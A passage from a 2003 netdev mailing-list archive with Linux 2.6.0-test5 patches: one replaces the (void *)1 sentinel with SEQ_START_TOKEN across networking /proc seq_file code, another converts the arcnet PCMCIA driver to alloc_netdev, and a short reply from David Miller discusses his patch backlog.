linux-2.6.0-test5/net/ipv6/addrconf.c 2003-09-08 12:50:29.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv6/addrconf.c 2003-09-08 18:35:35.000000000 -0700 @@ -2170,7 +2170,7 @@ static void *if6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&addrconf_hash_lock); - return *pos ? if6_get_bucket(seq, pos) : (void *)1; + return *pos ? if6_get_bucket(seq, pos) : SEQ_START_TOKEN; } static void *if6_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -2178,7 +2178,7 @@ struct inet6_ifaddr *ifa; struct if6_iter_state *state; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { ifa = if6_get_bucket(seq, pos); goto out; } @@ -2214,7 +2214,7 @@ static int if6_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) return 0; else if6_iface_seq_show(seq, v); diff -urN linux-2.6.0-test5/net/ipv6/ip6_flowlabel.c SEQ_START_TOKEN_5/net/ipv6/ip6_flowlabel.c --- linux-2.6.0-test5/net/ipv6/ip6_flowlabel.c 2003-09-08 12:49:57.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv6/ip6_flowlabel.c 2003-09-08 18:35:35.000000000 -0700 @@ -603,14 +603,14 @@ static void *ip6fl_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&ip6_fl_lock); - return *pos ? ip6fl_get_idx(seq, *pos) : (void *)1; + return *pos ? ip6fl_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *ip6fl_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip6_flowlabel *fl; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) fl = ip6fl_get_first(seq); else fl = ip6fl_get_next(seq, v); @@ -644,7 +644,7 @@ static int ip6fl_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "Label S Owner Users Linger Expires " "Dst Opt\n"); else diff -urN linux-2.6.0-test5/net/ipv6/mcast.c SEQ_START_TOKEN_5/net/ipv6/mcast.c --- linux-2.6.0-test5/net/ipv6/mcast.c 2003-09-08 12:50:22.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv6/mcast.c 2003-09-08 18:35:35.000000000 -0700 @@ -2278,13 +2278,13 @@ static void *igmp6_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp6_mcf_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp6_mcf_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *igmp6_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip6_sf_list *psf; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) psf = igmp6_mcf_get_first(seq); else psf = igmp6_mcf_get_next(seq, v); @@ -2313,7 +2313,7 @@ struct ip6_sf_list *psf = (struct ip6_sf_list *)v; struct igmp6_mcf_iter_state *state = igmp6_mcf_seq_private(seq); - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%3s %6s " "%32s %32s %6s %6s\n", "Idx", diff -urN linux-2.6.0-test5/net/ipv6/raw.c SEQ_START_TOKEN_5/net/ipv6/raw.c --- linux-2.6.0-test5/net/ipv6/raw.c 2003-09-08 12:50:02.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv6/raw.c 2003-09-08 18:35:35.000000000 -0700 @@ -961,14 +961,14 @@ static void *raw6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v6_lock); - return *pos ? raw6_get_idx(seq, *pos) : (void *)1; + return *pos ? raw6_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *raw6_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct sock *sk; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) sk = raw6_get_first(seq); else sk = raw6_get_next(seq, v); @@ -1010,7 +1010,7 @@ static int raw6_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, " sl " "local_address " diff -urN linux-2.6.0-test5/net/ipv6/tcp_ipv6.c SEQ_START_TOKEN_5/net/ipv6/tcp_ipv6.c --- linux-2.6.0-test5/net/ipv6/tcp_ipv6.c 2003-09-08 12:50:07.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv6/tcp_ipv6.c 2003-09-08 18:35:35.000000000 -0700 @@ -2027,7 +2027,7 @@ { struct tcp_iter_state *st; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, " sl " "local_address " diff -urN linux-2.6.0-test5/net/ipv6/udp.c SEQ_START_TOKEN_5/net/ipv6/udp.c --- linux-2.6.0-test5/net/ipv6/udp.c 2003-09-08 12:50:22.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv6/udp.c 2003-09-08 18:35:35.000000000 -0700 @@ -1113,7 +1113,7 @@ static int udp6_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, " sl " "local_address " diff -urN linux-2.6.0-test5/net/ipx/ipx_proc.c SEQ_START_TOKEN_5/net/ipx/ipx_proc.c --- linux-2.6.0-test5/net/ipx/ipx_proc.c 2003-09-08 12:49:51.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipx/ipx_proc.c 2003-09-08 18:35:35.000000000 -0700 @@ -39,7 +39,7 @@ loff_t l = *pos; spin_lock_bh(&ipx_interfaces_lock); - return l ? ipx_get_interface_idx(--l) : (void *)1; + return l ? ipx_get_interface_idx(--l) : SEQ_START_TOKEN; } static void *ipx_seq_interface_next(struct seq_file *seq, void *v, loff_t *pos) @@ -47,7 +47,7 @@ struct ipx_interface *i; ++*pos; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) i = ipx_interfaces_head(); else i = ipx_interfaces_next(v); @@ -63,7 +63,7 @@ { struct ipx_interface *i; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Network Node_Address Primary Device " "Frame_Type"); #ifdef IPX_REFCNT_DEBUG @@ -123,7 +123,7 @@ { loff_t l = *pos; read_lock_bh(&ipx_routes_lock); - return l ? ipx_get_route_idx(--l) : (void *)1; + return l ? ipx_get_route_idx(--l) : SEQ_START_TOKEN; } static void *ipx_seq_route_next(struct seq_file *seq, void *v, loff_t *pos) @@ -131,7 +131,7 @@ struct ipx_route *r; ++*pos; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) r = ipx_routes_head(); else r = ipx_routes_next(v); @@ -147,7 +147,7 @@ { struct ipx_route *rt; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Network Router_Net Router_Node\n"); goto out; } @@ -195,7 +195,7 @@ loff_t l = *pos; spin_lock_bh(&ipx_interfaces_lock); - return l ? ipx_get_socket_idx(--l) : (void *)1; + return l ? ipx_get_socket_idx(--l) : SEQ_START_TOKEN; } static void *ipx_seq_socket_next(struct seq_file *seq, void *v, loff_t *pos) @@ -205,7 +205,7 @@ struct ipx_opt *ipxs; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { sk = NULL; i = ipx_interfaces_head(); if (!i) @@ -245,7 +245,7 @@ struct sock *s; struct ipx_opt *ipxs; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { #ifdef CONFIG_IPX_INTERN seq_puts(seq, "Local_Address " "Remote_Address Tx_Queue " diff -urN linux-2.6.0-test5/net/irda/irlan/irlan_common.c SEQ_START_TOKEN_5/net/irda/irlan/irlan_common.c --- linux-2.6.0-test5/net/irda/irlan/irlan_common.c 2003-09-08 12:50:06.000000000 -0700 +++ SEQ_START_TOKEN_5/net/irda/irlan/irlan_common.c 2003-09-09 11:23:02.000000000 -0700 @@ -1068,7 +1068,6 @@ } #ifdef CONFIG_PROC_FS -#define IRLAN_PROC_START_TOKEN ((void *)1) /* * Start of reading /proc entries. @@ -1083,7 +1082,7 @@ rcu_read_lock(); if (*pos == 0) - return IRLAN_PROC_START_TOKEN; + return SEQ_START_TOKEN; list_for_each_entry(self, &irlans, dev_list) { if (*pos == i) @@ -1099,7 +1098,7 @@ struct list_head *nxt; ++*pos; - if (v == IRLAN_PROC_START_TOKEN) + if (v == SEQ_START_TOKEN) nxt = irlans.next; else nxt = ((struct irlan_cb *)v)->dev_list.next; @@ -1120,7 +1119,7 @@ */ static int irlan_seq_show(struct seq_file *seq, void *v) { - if (v == IRLAN_PROC_START_TOKEN) + if (v == SEQ_START_TOKEN) seq_puts(seq, "IrLAN instances:\n"); else { struct irlan_cb *self = v; diff -urN linux-2.6.0-test5/net/llc/llc_proc.c SEQ_START_TOKEN_5/net/llc/llc_proc.c --- linux-2.6.0-test5/net/llc/llc_proc.c 2003-09-08 12:49:52.000000000 -0700 +++ SEQ_START_TOKEN_5/net/llc/llc_proc.c 2003-09-08 18:35:35.000000000 -0700 @@ -67,7 +67,7 @@ loff_t l = *pos; read_lock_bh(&llc_main_station.sap_list.lock); - return l ? llc_get_sk_idx(--l) : (void *)1; + return l ? llc_get_sk_idx(--l) : SEQ_START_TOKEN; } static void *llc_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -77,7 +77,7 @@ struct llc_sap *sap; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { sk = llc_get_sk_idx(0); goto out; } @@ -123,7 +123,7 @@ struct sock* sk; struct llc_opt *llc; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "SKt Mc local_mac_sap remote_mac_sap " " tx_queue rx_queue st uid link\n"); goto out; @@ -172,7 +172,7 @@ struct sock* sk; struct llc_opt *llc; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Connection list:\n" "dsap state retr txw rxw pf ff sf df rs cs " "tack tpfc trs tbs blog busr\n"); diff -urN linux-2.6.0-test5/net/netrom/af_netrom.c SEQ_START_TOKEN_5/net/netrom/af_netrom.c --- linux-2.6.0-test5/net/netrom/af_netrom.c 2003-09-08 12:50:06.000000000 -0700 +++ SEQ_START_TOKEN_5/net/netrom/af_netrom.c 2003-09-09 11:23:00.000000000 -0700 @@ -1241,8 +1241,6 @@ #ifdef CONFIG_PROC_FS -/* Marker for header entry */ -#define NETROM_PROC_START ((void *)1) static void *nr_info_start(struct seq_file *seq, loff_t *pos) { struct sock *s; @@ -1251,7 +1249,7 @@ spin_lock_bh(&nr_list_lock); if (*pos == 0) - return NETROM_PROC_START; + return SEQ_START_TOKEN; sk_for_each(s, node, &nr_list) { if (i == *pos) @@ -1265,7 +1263,7 @@ { ++*pos; - return (v == NETROM_PROC_START) ? sk_head(&nr_list) + return (v == SEQ_START_TOKEN) ? sk_head(&nr_list) : sk_next((struct sock *)v); } @@ -1281,7 +1279,7 @@ nr_cb *nr; const char *devname; - if (v == NETROM_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "user_addr dest_node src_node dev my your st vs vr va t1 t2 t4 idle n2 wnd Snd-Q Rcv-Q inode\n"); diff -urN linux-2.6.0-test5/net/netrom/nr_route.c SEQ_START_TOKEN_5/net/netrom/nr_route.c --- linux-2.6.0-test5/net/netrom/nr_route.c 2003-09-08 12:50:41.000000000 -0700 +++ SEQ_START_TOKEN_5/net/netrom/nr_route.c 2003-09-09 11:22:58.000000000 -0700 @@ -841,7 +841,6 @@ } #ifdef CONFIG_PROC_FS -#define NETROM_PROC_START ((void *) 1) static void *nr_node_start(struct seq_file *seq, loff_t *pos) { @@ -851,7 +850,7 @@ spin_lock_bh(&nr_node_list_lock); if (*pos == 0) - return NETROM_PROC_START; + return SEQ_START_TOKEN; nr_node_for_each(nr_node, node, &nr_node_list) { if (i == *pos) @@ -867,7 +866,7 @@ struct hlist_node *node; ++*pos; - node = (v == NETROM_PROC_START) + node = (v == SEQ_START_TOKEN) ? nr_node_list.first : ((struct nr_node *)v)->node_node.next; @@ -883,7 +882,7 @@ { int i; - if (v == NETROM_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "callsign mnemonic w n qual obs neigh qual obs neigh qual obs neigh\n"); else { @@ -936,7 +935,7 @@ spin_lock_bh(&nr_neigh_list_lock); if (*pos == 0) - return NETROM_PROC_START; + return SEQ_START_TOKEN; nr_neigh_for_each(nr_neigh, node, &nr_neigh_list) { if (i == *pos) @@ -950,7 +949,7 @@ struct hlist_node *node; ++*pos; - node = (v == NETROM_PROC_START) + node = (v == SEQ_START_TOKEN) ? nr_neigh_list.first : ((struct nr_neigh *)v)->neigh_node.next; @@ -966,7 +965,7 @@ { int i; - if (v == NETROM_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "addr callsign dev qual lock count failed digipeaters\n"); else { struct nr_neigh *nr_neigh = v; diff -urN linux-2.6.0-test5/net/rose/af_rose.c SEQ_START_TOKEN_5/net/rose/af_rose.c --- linux-2.6.0-test5/net/rose/af_rose.c 2003-09-08 12:50:06.000000000 -0700 +++ SEQ_START_TOKEN_5/net/rose/af_rose.c 2003-09-09 11:22:56.000000000 -0700 @@ -1344,7 +1344,7 @@ spin_lock_bh(&rose_list_lock); if (*pos == 0) - return ROSE_PROC_START; + return SEQ_START_TOKEN; i = 1; sk_for_each(s, node, &rose_list) { @@ -1359,7 +1359,7 @@ { ++*pos; - return (v == ROSE_PROC_START) ? sk_head(&rose_list) + return (v == SEQ_START_TOKEN) ? sk_head(&rose_list) : sk_next((struct sock *)v); } @@ -1370,7 +1370,7 @@ static int rose_info_show(struct seq_file *seq, void *v) { - if (v == ROSE_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "dest_addr dest_call src_addr src_call dev lci neigh st vs vr va t t1 t2 t3 hb idle Snd-Q Rcv-Q inode\n"); diff -urN linux-2.6.0-test5/net/rose/rose_route.c SEQ_START_TOKEN_5/net/rose/rose_route.c --- linux-2.6.0-test5/net/rose/rose_route.c 2003-09-08 12:50:33.000000000 -0700 +++ SEQ_START_TOKEN_5/net/rose/rose_route.c 2003-09-09 11:22:51.000000000 -0700 @@ -1076,7 +1076,7 @@ spin_lock_bh(&rose_neigh_list_lock); if (*pos == 0) - return ROSE_PROC_START; + return SEQ_START_TOKEN; for (rose_node = rose_node_list; rose_node && i < *pos; rose_node = rose_node->next, ++i); @@ -1088,7 +1088,7 @@ { ++*pos; - return (v == ROSE_PROC_START) ? rose_node_list + return (v == SEQ_START_TOKEN) ? rose_node_list : ((struct rose_node *)v)->next; } @@ -1101,7 +1101,7 @@ { int i; - if (v == ROSE_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "address mask n neigh neigh neigh\n"); else { const struct rose_node *rose_node = v; @@ -1152,7 +1152,7 @@ spin_lock_bh(&rose_neigh_list_lock); if (*pos == 0) - return ROSE_PROC_START; + return SEQ_START_TOKEN; for (rose_neigh = rose_neigh_list; rose_neigh && i < *pos; rose_neigh = rose_neigh->next, ++i); @@ -1164,7 +1164,7 @@ { ++*pos; - return (v == ROSE_PROC_START) ? rose_neigh_list + return (v == SEQ_START_TOKEN) ? rose_neigh_list : ((struct rose_neigh *)v)->next; } @@ -1177,7 +1177,7 @@ { int i; - if (v == ROSE_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "addr callsign dev count use mode restart t0 tf digipeaters\n"); else { @@ -1234,7 +1234,7 @@ spin_lock_bh(&rose_route_list_lock); if (*pos == 0) - return ROSE_PROC_START; + return SEQ_START_TOKEN; for (rose_route = rose_route_list; rose_route && i < *pos; rose_route = rose_route->next, ++i); @@ -1246,7 +1246,7 @@ { ++*pos; - return (v == ROSE_PROC_START) ? rose_route_list + return (v == SEQ_START_TOKEN) ? rose_route_list : ((struct rose_route *)v)->next; } @@ -1257,7 +1257,7 @@ static int rose_route_show(struct seq_file *seq, void *v) { - if (v == ROSE_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "lci address callsign neigh <-> lci address callsign neigh\n"); else { diff -urN linux-2.6.0-test5/net/rxrpc/proc.c SEQ_START_TOKEN_5/net/rxrpc/proc.c --- linux-2.6.0-test5/net/rxrpc/proc.c 2003-09-08 12:50:07.000000000 -0700 +++ SEQ_START_TOKEN_5/net/rxrpc/proc.c 2003-09-08 18:35:35.000000000 -0700 @@ -226,7 +226,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -248,7 +248,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_proc_transports.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_proc_transports.next : _p->next; return _p!=&rxrpc_proc_transports ? _p : NULL; } /* end rxrpc_proc_transports_next() */ @@ -272,7 +272,7 @@ struct rxrpc_transport *trans = list_entry(v,struct rxrpc_transport,proc_link); /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "LOCAL USE\n"); return 0; } @@ -319,7 +319,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -341,7 +341,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_peers.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_peers.next : _p->next; return _p!=&rxrpc_peers ? _p : NULL; } /* end rxrpc_proc_peers_next() */ @@ -366,7 +366,7 @@ signed long timeout; /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m,"LOCAL REMOTE USAGE CONNS TIMEOUT MTU RTT(uS)\n"); return 0; } @@ -422,7 +422,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -444,7 +444,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_conns.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_conns.next : _p->next; return _p!=&rxrpc_conns ? _p : NULL; } /* end rxrpc_proc_conns_next() */ @@ -469,7 +469,7 @@ signed long timeout; /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "LOCAL REMOTE RPORT SRVC CONN END SERIALNO CALLNO MTU TIMEOUT" "\n"); @@ -530,7 +530,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -552,7 +552,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_calls.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_calls.next : _p->next; return _p!=&rxrpc_calls ? _p : NULL; } /* end rxrpc_proc_calls_next() */ @@ -576,7 +576,7 @@ struct rxrpc_call *call = list_entry(v,struct rxrpc_call,call_link); /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "LOCAL REMOT SRVC CONN CALL DIR USE " " L STATE OPCODE ABORT ERRNO\n" diff -urN linux-2.6.0-test5/net/sunrpc/cache.c SEQ_START_TOKEN_5/net/sunrpc/cache.c --- linux-2.6.0-test5/net/sunrpc/cache.c 2003-09-08 12:50:07.000000000 -0700 +++ SEQ_START_TOKEN_5/net/sunrpc/cache.c 2003-09-08 18:35:35.000000000 -0700 @@ -1035,7 +1035,7 @@ read_lock(&cd->hash_lock); if (!n--) - return (void *)1; + return SEQ_START_TOKEN; hash = n >> 32; entry = n & ((1LL<<32) - 1); @@ -1060,7 +1060,7 @@ int hash = (*pos >> 32); struct cache_detail *cd = ((struct handle*)m->private)->cd; - if (p == (void *)1) + if (p == SEQ_START_TOKEN) hash = 0; else if (ch->next == NULL) { hash++; @@ -1092,7 +1092,7 @@ struct cache_head *cp = p; struct cache_detail *cd = ((struct handle*)m->private)->cd; - if (p == (void *)1) + if (p == SEQ_START_TOKEN) return cd->cache_show(m, cd, NULL); ifdebug(CACHE) diff -urN linux-2.6.0-test5/net/wanrouter/wanproc.c SEQ_START_TOKEN_5/net/wanrouter/wanproc.c --- linux-2.6.0-test5/net/wanrouter/wanproc.c 2003-09-08 12:50:03.000000000 -0700 +++ SEQ_START_TOKEN_5/net/wanrouter/wanproc.c 2003-09-08 18:35:35.000000000 -0700 @@ -86,7 +86,7 @@ lock_kernel(); if (!l--) - return (void *)1; + return SEQ_START_TOKEN; for (wandev = wanrouter_router_devlist; l-- && wandev; wandev = wandev->next) ; @@ -97,7 +97,7 @@ { struct wan_device *wandev = v; (*pos)++; - return (v == (void *)1) ? wanrouter_router_devlist : wandev->next; + return (v == SEQ_START_TOKEN) ? wanrouter_router_devlist : wandev->next; } static void r_stop(struct seq_file *m, void *v) @@ -108,7 +108,7 @@ static int config_show(struct seq_file *m, void *v) { struct wan_device *p = v; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "Device name | port |IRQ|DMA| mem.addr |" "mem.size|option1|option2|option3|option4\n"); return 0; @@ -124,7 +124,7 @@ static int status_show(struct seq_file *m, void *v) { struct wan_device *p = v; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "Device name |protocol|station|interface|" "clocking|baud rate| MTU |ndev|link state\n"); return 0; diff -urN linux-2.6.0-test5/net/x25/x25_proc.c SEQ_START_TOKEN_5/net/x25/x25_proc.c --- linux-2.6.0-test5/net/x25/x25_proc.c 2003-09-08 12:49:54.000000000 -0700 +++ SEQ_START_TOKEN_5/net/x25/x25_proc.c 2003-09-08 18:35:35.000000000 -0700 @@ -44,7 +44,7 @@ loff_t l = *pos; read_lock_bh(&x25_route_list_lock); - return l ? x25_get_route_idx(--l) : (void *)1; + return l ? x25_get_route_idx(--l) : SEQ_START_TOKEN; } static void *x25_seq_route_next(struct seq_file *seq, void *v, loff_t *pos) @@ -52,7 +52,7 @@ struct x25_route *rt; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { rt = NULL; if (!list_empty(&x25_route_list)) rt = list_entry(x25_route_list.next, @@ -77,7 +77,7 @@ { struct x25_route *rt; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Address Digits Device\n"); goto out; } @@ -108,7 +108,7 @@ loff_t l = *pos; read_lock_bh(&x25_list_lock); - return l ? x25_get_socket_idx(--l) : (void *)1; + return l ? x25_get_socket_idx(--l) : SEQ_START_TOKEN; } static void *x25_seq_socket_next(struct seq_file *seq, void *v, loff_t *pos) @@ -116,7 +116,7 @@ struct sock *s; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { s = sk_head(&x25_list); goto out; } @@ -137,7 +137,7 @@ struct net_device *dev; const char *devname; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "dest_addr src_addr dev lci st vs vr " "va t t2 t21 t22 t23 Snd-Q Rcv-Q inode\n"); goto out; From davem@pizda.ninka.net Tue Sep 9 16:19:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 16:20:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89NJUx4001793 for ; Tue, 9 Sep 2003 16:19:31 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA08381; Tue, 9 Sep 2003 16:08:55 -0700 Date: Tue, 9 Sep 2003 16:08:55 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH] br2684 - build problems on 2.6.0-test5 Message-Id: <20030909160855.1f8af8ec.davem@redhat.com> In-Reply-To: <20030909160019.0a4ea902.shemminger@osdl.org> References: <20030909160019.0a4ea902.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5731 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 586 Lines: 15 On Tue, 9 Sep 2003 16:00:19 -0700 Stephen Hemminger wrote: > Don't know if chas already fixed this.. Yes, it's in my inbox... Sorry, I'm backlogged because I wanted to finish something else I'm working on before I apply any net patches. (the way that I work is, if a task takes multiple days I'll never finish it if I keep getting distracted by email and patch applying so I just queue everything when I have those kinds of things I want to hack on) I think I'll abort that idea and apply my backlog this afternoon so people stop sending me all these dups :) From shemminger@osdl.org Tue Sep 9 16:35:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 16:36:05 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89NZTx4007624 for ; Tue, 9 Sep 2003 16:35:30 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h89NZNo27099; Tue, 9 Sep 2003 16:35:23 -0700 Date: Tue, 9 Sep 2003 16:35:06 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] update arcnet/pcmcia driver Message-Id: <20030909163506.7d87d7e7.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5732 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2846 Lines: 112 Convert driver to use alloc_netdev and get rid of MOD_INC/MOD_DEC Patch against 2.6.0-test5 diff -Nru a/drivers/net/pcmcia/com20020_cs.c b/drivers/net/pcmcia/com20020_cs.c --- a/drivers/net/pcmcia/com20020_cs.c Tue Sep 9 16:33:36 2003 +++ b/drivers/net/pcmcia/com20020_cs.c Tue Sep 9 16:33:36 2003 @@ -163,6 +163,21 @@ } } + +static void com20020_setup(struct net_device *dev) +{ + struct arcnet_local *lp = dev->priv; + + lp->timeout = timeout; + lp->backplane = backplane; + lp->clockp = clockp; + lp->clockm = clockm & 3; + lp->hw.owner = THIS_MODULE; + + /* fill in our module parameters as defaults */ + dev->dev_addr[0] = node; +} + /*====================================================================== com20020_attach() creates an "instance" of the driver, allocating @@ -178,7 +193,6 @@ com20020_dev_t *info; struct net_device *dev; int i, ret; - struct arcnet_local *lp; DEBUG(0, "com20020_attach()\n"); flush_stale_links(); @@ -192,18 +206,13 @@ if (!info) goto fail_alloc_info; - lp = kmalloc(sizeof(struct arcnet_local), GFP_KERNEL); - if (!lp) - goto fail_alloc_lp; - - dev = dev_alloc("arc%d", &ret); + dev = alloc_netdev(sizeof(struct arcnet_local), "arc%d", + com20020_setup); if (!dev) goto fail_alloc_dev; memset(info, 0, sizeof(struct com20020_dev_t)); - memset(lp, 0, sizeof(struct arcnet_local)); memset(link, 0, sizeof(struct dev_link_t)); - dev->priv = lp; link->io.Attributes1 = IO_DATA_PATH_WIDTH_8; link->io.NumPorts1 = 16; @@ -215,19 +224,11 @@ else for (i = 0; i < 4; i++) link->irq.IRQInfo2 |= 1 << irq_list[i]; + link->conf.Attributes = CONF_ENABLE_IRQ; link->conf.Vcc = 50; link->conf.IntType = INT_MEMORY_AND_IO; link->conf.Present = PRESENT_OPTION; - - /* fill in our module parameters as defaults */ - dev->dev_addr[0] = node; - lp->timeout = timeout; - lp->backplane = backplane; - lp->clockp = clockp; - lp->clockm = clockm & 3; - lp->hw.owner = THIS_MODULE; - link->irq.Instance = info->dev = dev; link->priv = info; @@ -253,11 +254,9 @@ return link; fail_alloc_dev: - kfree(lp); -fail_alloc_lp: kfree(info); fail_alloc_info: - kfree(link); + kfree(dev); return NULL; } /* com20020_attach */ @@ -324,11 +323,9 @@ /* ...but I/O ports are done automatically by card services */ unregister_netdev(dev); - MOD_DEC_USE_COUNT; } DEBUG(1,"kfree...\n"); - kfree(dev->priv); free_netdev(dev); } DEBUG(1,"kfree2...\n"); @@ -428,8 +425,6 @@ goto failed; } - MOD_INC_USE_COUNT; - lp = dev->priv; lp->card_name = "PCMCIA COM20020"; lp->card_flags = ARC_CAN_10MBIT; /* pretend all of them can 10Mbit */ From cobra@compuserve.com Tue Sep 9 19:13:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 19:14:20 -0700 (PDT) Received: from marcie.netcarrier.net (marcie.netcarrier.net [216.178.72.21]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8A2Dfx4013257 for ; Tue, 9 Sep 2003 19:13:44 -0700 Received: (qmail 53157 invoked from network); 10 Sep 2003 02:13:34 -0000 Received: from kevb.net (HELO compuserve.com) (66.92.236.242) by marcie.netcarrier.net with SMTP; 10 Sep 2003 02:13:34 -0000 Message-ID: <3F5E884A.E62D27EE@compuserve.com> Date: Tue, 09 Sep 2003 22:11:22 -0400 From: Kevin Brosius X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.6.0-test5 i686) X-Accept-Language: en MIME-Version: 1.0 To: kernel , netdev@oss.sgi.com CC: Joe@perches.com Subject: Re: [PATCH] 2.6.0-test4 SEQ_START_TOKEN net/* (2/6) Content-Type: multipart/mixed; 